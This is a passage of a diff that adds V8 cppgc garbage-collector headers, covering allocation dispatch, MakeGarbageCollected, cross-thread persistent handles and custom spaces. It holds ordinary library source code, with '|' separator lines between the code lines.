uint16_t value = atomic_mutable_bitfield->load(std::memory_order_relaxed);
|
||||
value |= api_constants::kFullyConstructedBitMask;
|
||||
atomic_mutable_bitfield->store(value, std::memory_order_release);
|
||||
}
|
||||
|
||||
// Dispatch based on compile-time information.
|
||||
//
|
||||
// Default implementation is for a custom space with >`kDefaultAlignment` byte
|
||||
// alignment.
|
||||
template <typename GCInfoType, typename CustomSpace, size_t alignment>
|
||||
struct AllocationDispatcher final {
|
||||
static void* Invoke(AllocationHandle& handle, size_t size) {
|
||||
static_assert(std::is_base_of<CustomSpaceBase, CustomSpace>::value,
|
||||
"Custom space must inherit from CustomSpaceBase.");
|
||||
static_assert(
|
||||
!CustomSpace::kSupportsCompaction,
|
||||
"Custom spaces that support compaction do not support allocating "
|
||||
"objects with non-default (i.e. word-sized) alignment.");
|
||||
return MakeGarbageCollectedTraitInternal::Allocate(
|
||||
handle, size, static_cast<AlignVal>(alignment),
|
||||
internal::GCInfoTrait<GCInfoType>::Index(), CustomSpace::kSpaceIndex);
|
||||
}
|
||||
};
|
||||
|
||||
// Fast path for regular allocations for the default space with
|
||||
// `kDefaultAlignment` byte alignment.
|
||||
template <typename GCInfoType>
|
||||
struct AllocationDispatcher<GCInfoType, void,
|
||||
api_constants::kDefaultAlignment>
|
||||
final {
|
||||
static void* Invoke(AllocationHandle& handle, size_t size) {
|
||||
return MakeGarbageCollectedTraitInternal::Allocate(
|
||||
handle, size, internal::GCInfoTrait<GCInfoType>::Index());
|
||||
}
|
||||
};
|
||||
|
||||
// Default space with >`kDefaultAlignment` byte alignment.
|
||||
template <typename GCInfoType, size_t alignment>
|
||||
struct AllocationDispatcher<GCInfoType, void, alignment> final {
|
||||
static void* Invoke(AllocationHandle& handle, size_t size) {
|
||||
return MakeGarbageCollectedTraitInternal::Allocate(
|
||||
handle, size, static_cast<AlignVal>(alignment),
|
||||
internal::GCInfoTrait<GCInfoType>::Index());
|
||||
}
|
||||
};
|
||||
|
||||
// Custom space with `kDefaultAlignment` byte alignment.
|
||||
template <typename GCInfoType, typename CustomSpace>
|
||||
struct AllocationDispatcher<GCInfoType, CustomSpace,
|
||||
api_constants::kDefaultAlignment>
|
||||
final {
|
||||
static void* Invoke(AllocationHandle& handle, size_t size) {
|
||||
static_assert(std::is_base_of<CustomSpaceBase, CustomSpace>::value,
|
||||
"Custom space must inherit from CustomSpaceBase.");
|
||||
return MakeGarbageCollectedTraitInternal::Allocate(
|
||||
handle, size, internal::GCInfoTrait<GCInfoType>::Index(),
|
||||
CustomSpace::kSpaceIndex);
|
||||
}
|
||||
};
|
||||
|
||||
private:
|
||||
static void* CPPGC_DEFAULT_ALIGNED Allocate(cppgc::AllocationHandle&, size_t,
|
||||
GCInfoIndex);
|
||||
static void* CPPGC_DOUBLE_WORD_ALIGNED Allocate(cppgc::AllocationHandle&,
|
||||
size_t, AlignVal,
|
||||
GCInfoIndex);
|
||||
static void* CPPGC_DEFAULT_ALIGNED Allocate(cppgc::AllocationHandle&, size_t,
|
||||
GCInfoIndex, CustomSpaceIndex);
|
||||
static void* CPPGC_DOUBLE_WORD_ALIGNED Allocate(cppgc::AllocationHandle&,
|
||||
size_t, AlignVal, GCInfoIndex,
|
||||
CustomSpaceIndex);
|
||||
|
||||
friend class HeapObjectHeader;
|
||||
};
|
||||
|
||||
} // namespace internal
|
||||
|
||||
/**
|
||||
* Base trait that provides utilities for advancers users that have custom
|
||||
* allocation needs (e.g., overriding size). It's expected that users override
|
||||
* MakeGarbageCollectedTrait (see below) and inherit from
|
||||
* MakeGarbageCollectedTraitBase and make use of the low-level primitives
|
||||
* offered to allocate and construct an object.
|
||||
*/
|
||||
template <typename T>
|
||||
class MakeGarbageCollectedTraitBase
|
||||
: private internal::MakeGarbageCollectedTraitInternal {
|
||||
private:
|
||||
static_assert(internal::IsGarbageCollectedType<T>::value,
|
||||
"T needs to be a garbage collected object");
|
||||
static_assert(!IsGarbageCollectedWithMixinTypeV<T> ||
|
||||
sizeof(T) <=
|
||||
internal::api_constants::kLargeObjectSizeThreshold,
|
||||
"GarbageCollectedMixin may not be a large object");
|
||||
|
||||
protected:
|
||||
/**
|
||||
* Allocates memory for an object of type T.
|
||||
*
|
||||
* \param handle AllocationHandle identifying the heap to allocate the object
|
||||
* on.
|
||||
* \param size The size that should be reserved for the object.
|
||||
* \returns the memory to construct an object of type T on.
|
||||
*/
|
||||
V8_INLINE static void* Allocate(AllocationHandle& handle, size_t size) {
|
||||
static_assert(
|
||||
std::is_base_of<typename T::ParentMostGarbageCollectedType, T>::value,
|
||||
"U of GarbageCollected<U> must be a base of T. Check "
|
||||
"GarbageCollected<T> base class inheritance.");
|
||||
static constexpr size_t kWantedAlignment =
|
||||
alignof(T) < internal::api_constants::kDefaultAlignment
|
||||
? internal::api_constants::kDefaultAlignment
|
||||
: alignof(T);
|
||||
static_assert(
|
||||
kWantedAlignment <= internal::api_constants::kMaxSupportedAlignment,
|
||||
"Requested alignment larger than alignof(std::max_align_t) bytes. "
|
||||
"Please file a bug to possibly get this restriction lifted.");
|
||||
return AllocationDispatcher<
|
||||
typename internal::GCInfoFolding<
|
||||
T, typename T::ParentMostGarbageCollectedType>::ResultType,
|
||||
typename SpaceTrait<T>::Space, kWantedAlignment>::Invoke(handle, size);
|
||||
}
|
||||
|
||||
/**
|
||||
* Marks an object as fully constructed, resulting in precise handling by the
|
||||
* garbage collector.
|
||||
*
|
||||
* \param payload The base pointer the object is allocated at.
|
||||
*/
|
||||
V8_INLINE static void MarkObjectAsFullyConstructed(const void* payload) {
|
||||
internal::MakeGarbageCollectedTraitInternal::MarkObjectAsFullyConstructed(
|
||||
payload);
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Passed to MakeGarbageCollected to specify how many bytes should be appended
|
||||
* to the allocated object.
|
||||
*
|
||||
* Example:
|
||||
* \code
|
||||
* class InlinedArray final : public GarbageCollected<InlinedArray> {
|
||||
* public:
|
||||
* explicit InlinedArray(size_t bytes) : size(bytes), byte_array(this + 1) {}
|
||||
* void Trace(Visitor*) const {}
|
||||
|
||||
* size_t size;
|
||||
* char* byte_array;
|
||||
* };
|
||||
*
|
||||
* auto* inlined_array = MakeGarbageCollected<InlinedArray(
|
||||
* GetAllocationHandle(), AdditionalBytes(4), 4);
|
||||
* for (size_t i = 0; i < 4; i++) {
|
||||
* Process(inlined_array->byte_array[i]);
|
||||
* }
|
||||
* \endcode
|
||||
*/
|
||||
struct AdditionalBytes {
|
||||
constexpr explicit AdditionalBytes(size_t bytes) : value(bytes) {}
|
||||
const size_t value;
|
||||
};
|
||||
|
||||
/**
|
||||
* Default trait class that specifies how to construct an object of type T.
|
||||
* Advanced users may override how an object is constructed using the utilities
|
||||
* that are provided through MakeGarbageCollectedTraitBase.
|
||||
*
|
||||
* Any trait overriding construction must
|
||||
* - allocate through `MakeGarbageCollectedTraitBase<T>::Allocate`;
|
||||
* - mark the object as fully constructed using
|
||||
* `MakeGarbageCollectedTraitBase<T>::MarkObjectAsFullyConstructed`;
|
||||
*/
|
||||
template <typename T>
|
||||
class MakeGarbageCollectedTrait : public MakeGarbageCollectedTraitBase<T> {
|
||||
public:
|
||||
template <typename... Args>
|
||||
static T* Call(AllocationHandle& handle, Args&&... args) {
|
||||
void* memory =
|
||||
MakeGarbageCollectedTraitBase<T>::Allocate(handle, sizeof(T));
|
||||
T* object = ::new (memory) T(std::forward<Args>(args)...);
|
||||
MakeGarbageCollectedTraitBase<T>::MarkObjectAsFullyConstructed(object);
|
||||
return object;
|
||||
}
|
||||
|
||||
template <typename... Args>
|
||||
static T* Call(AllocationHandle& handle, AdditionalBytes additional_bytes,
|
||||
Args&&... args) {
|
||||
void* memory = MakeGarbageCollectedTraitBase<T>::Allocate(
|
||||
handle, sizeof(T) + additional_bytes.value);
|
||||
T* object = ::new (memory) T(std::forward<Args>(args)...);
|
||||
MakeGarbageCollectedTraitBase<T>::MarkObjectAsFullyConstructed(object);
|
||||
return object;
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Allows users to specify a post-construction callback for specific types. The
|
||||
* callback is invoked on the instance of type T right after it has been
|
||||
* constructed. This can be useful when the callback requires a
|
||||
* fully-constructed object to be able to dispatch to virtual methods.
|
||||
*/
|
||||
template <typename T, typename = void>
|
||||
struct PostConstructionCallbackTrait {
|
||||
static void Call(T*) {}
|
||||
};
|
||||
|
||||
/**
|
||||
* Constructs a managed object of type T where T transitively inherits from
|
||||
* GarbageCollected.
|
||||
*
|
||||
* \param args List of arguments with which an instance of T will be
|
||||
* constructed.
|
||||
* \returns an instance of type T.
|
||||
*/
|
||||
template <typename T, typename... Args>
|
||||
V8_INLINE T* MakeGarbageCollected(AllocationHandle& handle, Args&&... args) {
|
||||
T* object =
|
||||
MakeGarbageCollectedTrait<T>::Call(handle, std::forward<Args>(args)...);
|
||||
PostConstructionCallbackTrait<T>::Call(object);
|
||||
return object;
|
||||
}
|
||||
|
||||
/**
|
||||
* Constructs a managed object of type T where T transitively inherits from
|
||||
* GarbageCollected. Created objects will have additional bytes appended to
|
||||
* it. Allocated memory would suffice for `sizeof(T) + additional_bytes`.
|
||||
*
|
||||
* \param additional_bytes Denotes how many bytes to append to T.
|
||||
* \param args List of arguments with which an instance of T will be
|
||||
* constructed.
|
||||
* \returns an instance of type T.
|
||||
*/
|
||||
template <typename T, typename... Args>
|
||||
V8_INLINE T* MakeGarbageCollected(AllocationHandle& handle,
|
||||
AdditionalBytes additional_bytes,
|
||||
Args&&... args) {
|
||||
T* object = MakeGarbageCollectedTrait<T>::Call(handle, additional_bytes,
|
||||
std::forward<Args>(args)...);
|
||||
PostConstructionCallbackTrait<T>::Call(object);
|
||||
return object;
|
||||
}
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#undef CPPGC_DEFAULT_ALIGNED
|
||||
#undef CPPGC_DOUBLE_WORD_ALIGNED
|
||||
|
||||
#endif // INCLUDE_CPPGC_ALLOCATION_H_
|
||||
@@ -0,0 +1,28 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_COMMON_H_
|
||||
#define INCLUDE_CPPGC_COMMON_H_
|
||||
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
/**
|
||||
* Indicator for the stack state of the embedder.
|
||||
*/
|
||||
enum class EmbedderStackState {
|
||||
/**
|
||||
* Stack may contain interesting heap pointers.
|
||||
*/
|
||||
kMayContainHeapPointers,
|
||||
/**
|
||||
* Stack does not contain any interesting heap pointers.
|
||||
*/
|
||||
kNoHeapPointers,
|
||||
};
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_COMMON_H_
|
||||
@@ -0,0 +1,466 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_CROSS_THREAD_PERSISTENT_H_
|
||||
#define INCLUDE_CPPGC_CROSS_THREAD_PERSISTENT_H_
|
||||
|
||||
#include <atomic>
|
||||
|
||||
#include "cppgc/internal/persistent-node.h"
|
||||
#include "cppgc/internal/pointer-policies.h"
|
||||
#include "cppgc/persistent.h"
|
||||
#include "cppgc/visitor.h"
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
// Wrapper around PersistentBase that allows accessing poisoned memory when
|
||||
// using ASAN. This is needed as the GC of the heap that owns the value
|
||||
// of a CTP, may clear it (heap termination, weakness) while the object
|
||||
// holding the CTP may be poisoned as itself may be deemed dead.
|
||||
class CrossThreadPersistentBase : public PersistentBase {
|
||||
public:
|
||||
CrossThreadPersistentBase() = default;
|
||||
explicit CrossThreadPersistentBase(const void* raw) : PersistentBase(raw) {}
|
||||
|
||||
V8_CLANG_NO_SANITIZE("address") const void* GetValueFromGC() const {
|
||||
return raw_;
|
||||
}
|
||||
|
||||
V8_CLANG_NO_SANITIZE("address")
|
||||
PersistentNode* GetNodeFromGC() const { return node_; }
|
||||
|
||||
V8_CLANG_NO_SANITIZE("address")
|
||||
void ClearFromGC() const {
|
||||
raw_ = nullptr;
|
||||
SetNodeSafe(nullptr);
|
||||
}
|
||||
|
||||
// GetNodeSafe() can be used for a thread-safe IsValid() check in a
|
||||
// double-checked locking pattern. See ~BasicCrossThreadPersistent.
|
||||
PersistentNode* GetNodeSafe() const {
|
||||
return reinterpret_cast<std::atomic<PersistentNode*>*>(&node_)->load(
|
||||
std::memory_order_acquire);
|
||||
}
|
||||
|
||||
// The GC writes using SetNodeSafe() while holding the lock.
|
||||
V8_CLANG_NO_SANITIZE("address")
|
||||
void SetNodeSafe(PersistentNode* value) const {
|
||||
#if defined(__has_feature)
|
||||
#if __has_feature(address_sanitizer)
|
||||
#define V8_IS_ASAN 1
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef V8_IS_ASAN
|
||||
__atomic_store(&node_, &value, __ATOMIC_RELEASE);
|
||||
#else // !V8_IS_ASAN
|
||||
// Non-ASAN builds can use atomics. This also covers MSVC which does not
|
||||
// have the __atomic_store intrinsic.
|
||||
reinterpret_cast<std::atomic<PersistentNode*>*>(&node_)->store(
|
||||
value, std::memory_order_release);
|
||||
#endif // !V8_IS_ASAN
|
||||
|
||||
#undef V8_IS_ASAN
|
||||
}
|
||||
};
|
||||
|
||||
template <typename T, typename WeaknessPolicy, typename LocationPolicy,
|
||||
typename CheckingPolicy>
|
||||
class BasicCrossThreadPersistent final : public CrossThreadPersistentBase,
|
||||
public LocationPolicy,
|
||||
private WeaknessPolicy,
|
||||
private CheckingPolicy {
|
||||
public:
|
||||
using typename WeaknessPolicy::IsStrongPersistent;
|
||||
using PointeeType = T;
|
||||
|
||||
~BasicCrossThreadPersistent() {
|
||||
// This implements fast path for destroying empty/sentinel.
|
||||
//
|
||||
// Simplified version of `AssignUnsafe()` to allow calling without a
|
||||
// complete type `T`. Uses double-checked locking with a simple thread-safe
|
||||
// check for a valid handle based on a node.
|
||||
if (GetNodeSafe()) {
|
||||
PersistentRegionLock guard;
|
||||
const void* old_value = GetValue();
|
||||
// The fast path check (GetNodeSafe()) does not acquire the lock. Recheck
|
||||
// validity while holding the lock to ensure the reference has not been
|
||||
// cleared.
|
||||
if (IsValid(old_value)) {
|
||||
CrossThreadPersistentRegion& region =
|
||||
this->GetPersistentRegion(old_value);
|
||||
region.FreeNode(GetNode());
|
||||
SetNode(nullptr);
|
||||
} else {
|
||||
CPPGC_DCHECK(!GetNode());
|
||||
}
|
||||
}
|
||||
// No need to call SetValue() as the handle is not used anymore. This can
|
||||
// leave behind stale sentinel values but will always destroy the underlying
|
||||
// node.
|
||||
}
|
||||
|
||||
BasicCrossThreadPersistent(
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: LocationPolicy(loc) {}
|
||||
|
||||
BasicCrossThreadPersistent(
|
||||
std::nullptr_t, const SourceLocation& loc = SourceLocation::Current())
|
||||
: LocationPolicy(loc) {}
|
||||
|
||||
BasicCrossThreadPersistent(
|
||||
SentinelPointer s, const SourceLocation& loc = SourceLocation::Current())
|
||||
: CrossThreadPersistentBase(s), LocationPolicy(loc) {}
|
||||
|
||||
BasicCrossThreadPersistent(
|
||||
T* raw, const SourceLocation& loc = SourceLocation::Current())
|
||||
: CrossThreadPersistentBase(raw), LocationPolicy(loc) {
|
||||
if (!IsValid(raw)) return;
|
||||
PersistentRegionLock guard;
|
||||
CrossThreadPersistentRegion& region = this->GetPersistentRegion(raw);
|
||||
SetNode(region.AllocateNode(this, &TraceAsRoot));
|
||||
this->CheckPointer(raw);
|
||||
}
|
||||
|
||||
class UnsafeCtorTag {
|
||||
private:
|
||||
UnsafeCtorTag() = default;
|
||||
template <typename U, typename OtherWeaknessPolicy,
|
||||
typename OtherLocationPolicy, typename OtherCheckingPolicy>
|
||||
friend class BasicCrossThreadPersistent;
|
||||
};
|
||||
|
||||
BasicCrossThreadPersistent(
|
||||
UnsafeCtorTag, T* raw,
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: CrossThreadPersistentBase(raw), LocationPolicy(loc) {
|
||||
if (!IsValid(raw)) return;
|
||||
CrossThreadPersistentRegion& region = this->GetPersistentRegion(raw);
|
||||
SetNode(region.AllocateNode(this, &TraceAsRoot));
|
||||
this->CheckPointer(raw);
|
||||
}
|
||||
|
||||
BasicCrossThreadPersistent(
|
||||
T& raw, const SourceLocation& loc = SourceLocation::Current())
|
||||
: BasicCrossThreadPersistent(&raw, loc) {}
|
||||
|
||||
template <typename U, typename MemberBarrierPolicy,
|
||||
typename MemberWeaknessTag, typename MemberCheckingPolicy,
|
||||
typename MemberStorageType,
|
||||
typename = std::enable_if_t<std::is_base_of<T, U>::value>>
|
||||
BasicCrossThreadPersistent(
|
||||
internal::BasicMember<U, MemberBarrierPolicy, MemberWeaknessTag,
|
||||
MemberCheckingPolicy, MemberStorageType>
|
||||
member,
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: BasicCrossThreadPersistent(member.Get(), loc) {}
|
||||
|
||||
BasicCrossThreadPersistent(
|
||||
const BasicCrossThreadPersistent& other,
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: BasicCrossThreadPersistent(loc) {
|
||||
// Invoke operator=.
|
||||
*this = other;
|
||||
}
|
||||
|
||||
// Heterogeneous ctor.
|
||||
template <typename U, typename OtherWeaknessPolicy,
|
||||
typename OtherLocationPolicy, typename OtherCheckingPolicy,
|
||||
typename = std::enable_if_t<std::is_base_of<T, U>::value>>
|
||||
BasicCrossThreadPersistent(
|
||||
const BasicCrossThreadPersistent<U, OtherWeaknessPolicy,
|
||||
OtherLocationPolicy,
|
||||
OtherCheckingPolicy>& other,
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: BasicCrossThreadPersistent(loc) {
|
||||
*this = other;
|
||||
}
|
||||
|
||||
BasicCrossThreadPersistent(
|
||||
BasicCrossThreadPersistent&& other,
|
||||
const SourceLocation& loc = SourceLocation::Current()) noexcept {
|
||||
// Invoke operator=.
|
||||
*this = std::move(other);
|
||||
}
|
||||
|
||||
BasicCrossThreadPersistent& operator=(
|
||||
const BasicCrossThreadPersistent& other) {
|
||||
PersistentRegionLock guard;
|
||||
AssignSafe(guard, other.Get());
|
||||
return *this;
|
||||
}
|
||||
|
||||
template <typename U, typename OtherWeaknessPolicy,
|
||||
typename OtherLocationPolicy, typename OtherCheckingPolicy,
|
||||
typename = std::enable_if_t<std::is_base_of<T, U>::value>>
|
||||
BasicCrossThreadPersistent& operator=(
|
||||
const BasicCrossThreadPersistent<U, OtherWeaknessPolicy,
|
||||
OtherLocationPolicy,
|
||||
OtherCheckingPolicy>& other) {
|
||||
PersistentRegionLock guard;
|
||||
AssignSafe(guard, other.Get());
|
||||
return *this;
|
||||
}
|
||||
|
||||
BasicCrossThreadPersistent& operator=(BasicCrossThreadPersistent&& other) {
|
||||
if (this == &other) return *this;
|
||||
Clear();
|
||||
PersistentRegionLock guard;
|
||||
PersistentBase::operator=(std::move(other));
|
||||
LocationPolicy::operator=(std::move(other));
|
||||
if (!IsValid(GetValue())) return *this;
|
||||
GetNode()->UpdateOwner(this);
|
||||
other.SetValue(nullptr);
|
||||
other.SetNode(nullptr);
|
||||
this->CheckPointer(Get());
|
||||
return *this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Assigns a raw pointer.
|
||||
*
|
||||
* Note: **Not thread-safe.**
|
||||
*/
|
||||
BasicCrossThreadPersistent& operator=(T* other) {
|
||||
AssignUnsafe(other);
|
||||
return *this;
|
||||
}
|
||||
|
||||
// Assignment from member.
|
||||
template <typename U, typename MemberBarrierPolicy,
|
||||
typename MemberWeaknessTag, typename MemberCheckingPolicy,
|
||||
typename MemberStorageType,
|
||||
typename = std::enable_if_t<std::is_base_of<T, U>::value>>
|
||||
BasicCrossThreadPersistent& operator=(
|
||||
internal::BasicMember<U, MemberBarrierPolicy, MemberWeaknessTag,
|
||||
MemberCheckingPolicy, MemberStorageType>
|
||||
member) {
|
||||
return operator=(member.Get());
|
||||
}
|
||||
|
||||
/**
|
||||
* Assigns a nullptr.
|
||||
*
|
||||
* \returns the handle.
|
||||
*/
|
||||
BasicCrossThreadPersistent& operator=(std::nullptr_t) {
|
||||
Clear();
|
||||
return *this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Assigns the sentinel pointer.
|
||||
*
|
||||
* \returns the handle.
|
||||
*/
|
||||
BasicCrossThreadPersistent& operator=(SentinelPointer s) {
|
||||
PersistentRegionLock guard;
|
||||
AssignSafe(guard, s);
|
||||
return *this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns a pointer to the stored object.
|
||||
*
|
||||
* Note: **Not thread-safe.**
|
||||
*
|
||||
* \returns a pointer to the stored object.
|
||||
*/
|
||||
// CFI cast exemption to allow passing SentinelPointer through T* and support
|
||||
// heterogeneous assignments between different Member and Persistent handles
|
||||
// based on their actual types.
|
||||
V8_CLANG_NO_SANITIZE("cfi-unrelated-cast") T* Get() const {
|
||||
return static_cast<T*>(const_cast<void*>(GetValue()));
|
||||
}
|
||||
|
||||
/**
|
||||
* Clears the stored object.
|
||||
*/
|
||||
void Clear() {
|
||||
PersistentRegionLock guard;
|
||||
AssignSafe(guard, nullptr);
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns a pointer to the stored object and releases it.
|
||||
*
|
||||
* Note: **Not thread-safe.**
|
||||
*
|
||||
* \returns a pointer to the stored object.
|
||||
*/
|
||||
T* Release() {
|
||||
T* result = Get();
|
||||
Clear();
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Conversio to boolean.
|
||||
*
|
||||
* Note: **Not thread-safe.**
|
||||
*
|
||||
* \returns true if an actual object has been stored and false otherwise.
|
||||
*/
|
||||
explicit operator bool() const { return Get(); }
|
||||
|
||||
/**
|
||||
* Conversion to object of type T.
|
||||
*
|
||||
* Note: **Not thread-safe.**
|
||||
*
|
||||
* \returns the object.
|
||||
*/
|
||||
operator T*() const { return Get(); }
|
||||
|
||||
/**
|
||||
* Dereferences the stored object.
|
||||
*
|
||||
* Note: **Not thread-safe.**
|
||||
*/
|
||||
T* operator->() const { return Get(); }
|
||||
T& operator*() const { return *Get(); }
|
||||
|
||||
template <typename U, typename OtherWeaknessPolicy = WeaknessPolicy,
|
||||
typename OtherLocationPolicy = LocationPolicy,
|
||||
typename OtherCheckingPolicy = CheckingPolicy>
|
||||
BasicCrossThreadPersistent<U, OtherWeaknessPolicy, OtherLocationPolicy,
|
||||
OtherCheckingPolicy>
|
||||
To() const {
|
||||
using OtherBasicCrossThreadPersistent =
|
||||
BasicCrossThreadPersistent<U, OtherWeaknessPolicy, OtherLocationPolicy,
|
||||
OtherCheckingPolicy>;
|
||||
PersistentRegionLock guard;
|
||||
return OtherBasicCrossThreadPersistent(
|
||||
typename OtherBasicCrossThreadPersistent::UnsafeCtorTag(),
|
||||
static_cast<U*>(Get()));
|
||||
}
|
||||
|
||||
template <typename U = T,
|
||||
typename = typename std::enable_if<!BasicCrossThreadPersistent<
|
||||
U, WeaknessPolicy>::IsStrongPersistent::value>::type>
|
||||
BasicCrossThreadPersistent<U, internal::StrongCrossThreadPersistentPolicy>
|
||||
Lock() const {
|
||||
return BasicCrossThreadPersistent<
|
||||
U, internal::StrongCrossThreadPersistentPolicy>(*this);
|
||||
}
|
||||
|
||||
private:
|
||||
static bool IsValid(const void* ptr) {
|
||||
return ptr && ptr != kSentinelPointer;
|
||||
}
|
||||
|
||||
static void TraceAsRoot(RootVisitor& root_visitor, const void* ptr) {
|
||||
root_visitor.Trace(*static_cast<const BasicCrossThreadPersistent*>(ptr));
|
||||
}
|
||||
|
||||
void AssignUnsafe(T* ptr) {
|
||||
const void* old_value = GetValue();
|
||||
if (IsValid(old_value)) {
|
||||
PersistentRegionLock guard;
|
||||
old_value = GetValue();
|
||||
// The fast path check (IsValid()) does not acquire the lock. Reload
|
||||
// the value to ensure the reference has not been cleared.
|
||||
if (IsValid(old_value)) {
|
||||
CrossThreadPersistentRegion& region =
|
||||
this->GetPersistentRegion(old_value);
|
||||
if (IsValid(ptr) && (®ion == &this->GetPersistentRegion(ptr))) {
|
||||
SetValue(ptr);
|
||||
this->CheckPointer(ptr);
|
||||
return;
|
||||
}
|
||||
region.FreeNode(GetNode());
|
||||
SetNode(nullptr);
|
||||
} else {
|
||||
CPPGC_DCHECK(!GetNode());
|
||||
}
|
||||
}
|
||||
SetValue(ptr);
|
||||
if (!IsValid(ptr)) return;
|
||||
PersistentRegionLock guard;
|
||||
SetNode(this->GetPersistentRegion(ptr).AllocateNode(this, &TraceAsRoot));
|
||||
this->CheckPointer(ptr);
|
||||
}
|
||||
|
||||
void AssignSafe(PersistentRegionLock&, T* ptr) {
|
||||
PersistentRegionLock::AssertLocked();
|
||||
const void* old_value = GetValue();
|
||||
if (IsValid(old_value)) {
|
||||
CrossThreadPersistentRegion& region =
|
||||
this->GetPersistentRegion(old_value);
|
||||
if (IsValid(ptr) && (®ion == &this->GetPersistentRegion(ptr))) {
|
||||
SetValue(ptr);
|
||||
this->CheckPointer(ptr);
|
||||
return;
|
||||
}
|
||||
region.FreeNode(GetNode());
|
||||
SetNode(nullptr);
|
||||
}
|
||||
SetValue(ptr);
|
||||
if (!IsValid(ptr)) return;
|
||||
SetNode(this->GetPersistentRegion(ptr).AllocateNode(this, &TraceAsRoot));
|
||||
this->CheckPointer(ptr);
|
||||
}
|
||||
|
||||
void ClearFromGC() const {
|
||||
if (IsValid(GetValueFromGC())) {
|
||||
WeaknessPolicy::GetPersistentRegion(GetValueFromGC())
|
||||
.FreeNode(GetNodeFromGC());
|
||||
CrossThreadPersistentBase::ClearFromGC();
|
||||
}
|
||||
}
|
||||
|
||||
// See Get() for details.
|
||||
V8_CLANG_NO_SANITIZE("cfi-unrelated-cast")
|
||||
T* GetFromGC() const {
|
||||
return static_cast<T*>(const_cast<void*>(GetValueFromGC()));
|
||||
}
|
||||
|
||||
friend class internal::RootVisitor;
|
||||
};
|
||||
|
||||
template <typename T, typename LocationPolicy, typename CheckingPolicy>
|
||||
struct IsWeak<
|
||||
BasicCrossThreadPersistent<T, internal::WeakCrossThreadPersistentPolicy,
|
||||
LocationPolicy, CheckingPolicy>>
|
||||
: std::true_type {};
|
||||
|
||||
} // namespace internal
|
||||
|
||||
namespace subtle {
|
||||
|
||||
/**
|
||||
* **DO NOT USE: Has known caveats, see below.**
|
||||
*
|
||||
* CrossThreadPersistent allows retaining objects from threads other than the
|
||||
* thread the owning heap is operating on.
|
||||
*
|
||||
* Known caveats:
|
||||
* - Does not protect the heap owning an object from terminating.
|
||||
* - Reaching transitively through the graph is unsupported as objects may be
|
||||
* moved concurrently on the thread owning the object.
|
||||
*/
|
||||
template <typename T>
|
||||
using CrossThreadPersistent = internal::BasicCrossThreadPersistent<
|
||||
T, internal::StrongCrossThreadPersistentPolicy>;
|
||||
|
||||
/**
|
||||
* **DO NOT USE: Has known caveats, see below.**
|
||||
*
|
||||
* CrossThreadPersistent allows weakly retaining objects from threads other than
|
||||
* the thread the owning heap is operating on.
|
||||
*
|
||||
* Known caveats:
|
||||
* - Does not protect the heap owning an object from terminating.
|
||||
* - Reaching transitively through the graph is unsupported as objects may be
|
||||
* moved concurrently on the thread owning the object.
|
||||
*/
|
||||
template <typename T>
|
||||
using WeakCrossThreadPersistent = internal::BasicCrossThreadPersistent<
|
||||
T, internal::WeakCrossThreadPersistentPolicy>;
|
||||
|
||||
} // namespace subtle
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_CROSS_THREAD_PERSISTENT_H_
|
||||
@@ -0,0 +1,97 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_CUSTOM_SPACE_H_
|
||||
#define INCLUDE_CPPGC_CUSTOM_SPACE_H_
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
/**
|
||||
* Index identifying a custom space.
|
||||
*/
|
||||
struct CustomSpaceIndex {
|
||||
constexpr CustomSpaceIndex(size_t value) : value(value) {} // NOLINT
|
||||
size_t value;
|
||||
};
|
||||
|
||||
/**
|
||||
* Top-level base class for custom spaces. Users must inherit from CustomSpace
|
||||
* below.
|
||||
*/
|
||||
class CustomSpaceBase {
|
||||
public:
|
||||
virtual ~CustomSpaceBase() = default;
|
||||
virtual CustomSpaceIndex GetCustomSpaceIndex() const = 0;
|
||||
virtual bool IsCompactable() const = 0;
|
||||
};
|
||||
|
||||
/**
|
||||
* Base class custom spaces should directly inherit from. The class inheriting
|
||||
* from `CustomSpace` must define `kSpaceIndex` as unique space index. These
|
||||
* indices need for form a sequence starting at 0.
|
||||
*
|
||||
* Example:
|
||||
* \code
|
||||
* class CustomSpace1 : public CustomSpace<CustomSpace1> {
|
||||
* public:
|
||||
* static constexpr CustomSpaceIndex kSpaceIndex = 0;
|
||||
* };
|
||||
* class CustomSpace2 : public CustomSpace<CustomSpace2> {
|
||||
* public:
|
||||
* static constexpr CustomSpaceIndex kSpaceIndex = 1;
|
||||
* };
|
||||
* \endcode
|
||||
*/
|
||||
template <typename ConcreteCustomSpace>
|
||||
class CustomSpace : public CustomSpaceBase {
|
||||
public:
|
||||
/**
|
||||
* Compaction is only supported on spaces that manually manage slots
|
||||
* recording.
|
||||
*/
|
||||
static constexpr bool kSupportsCompaction = false;
|
||||
|
||||
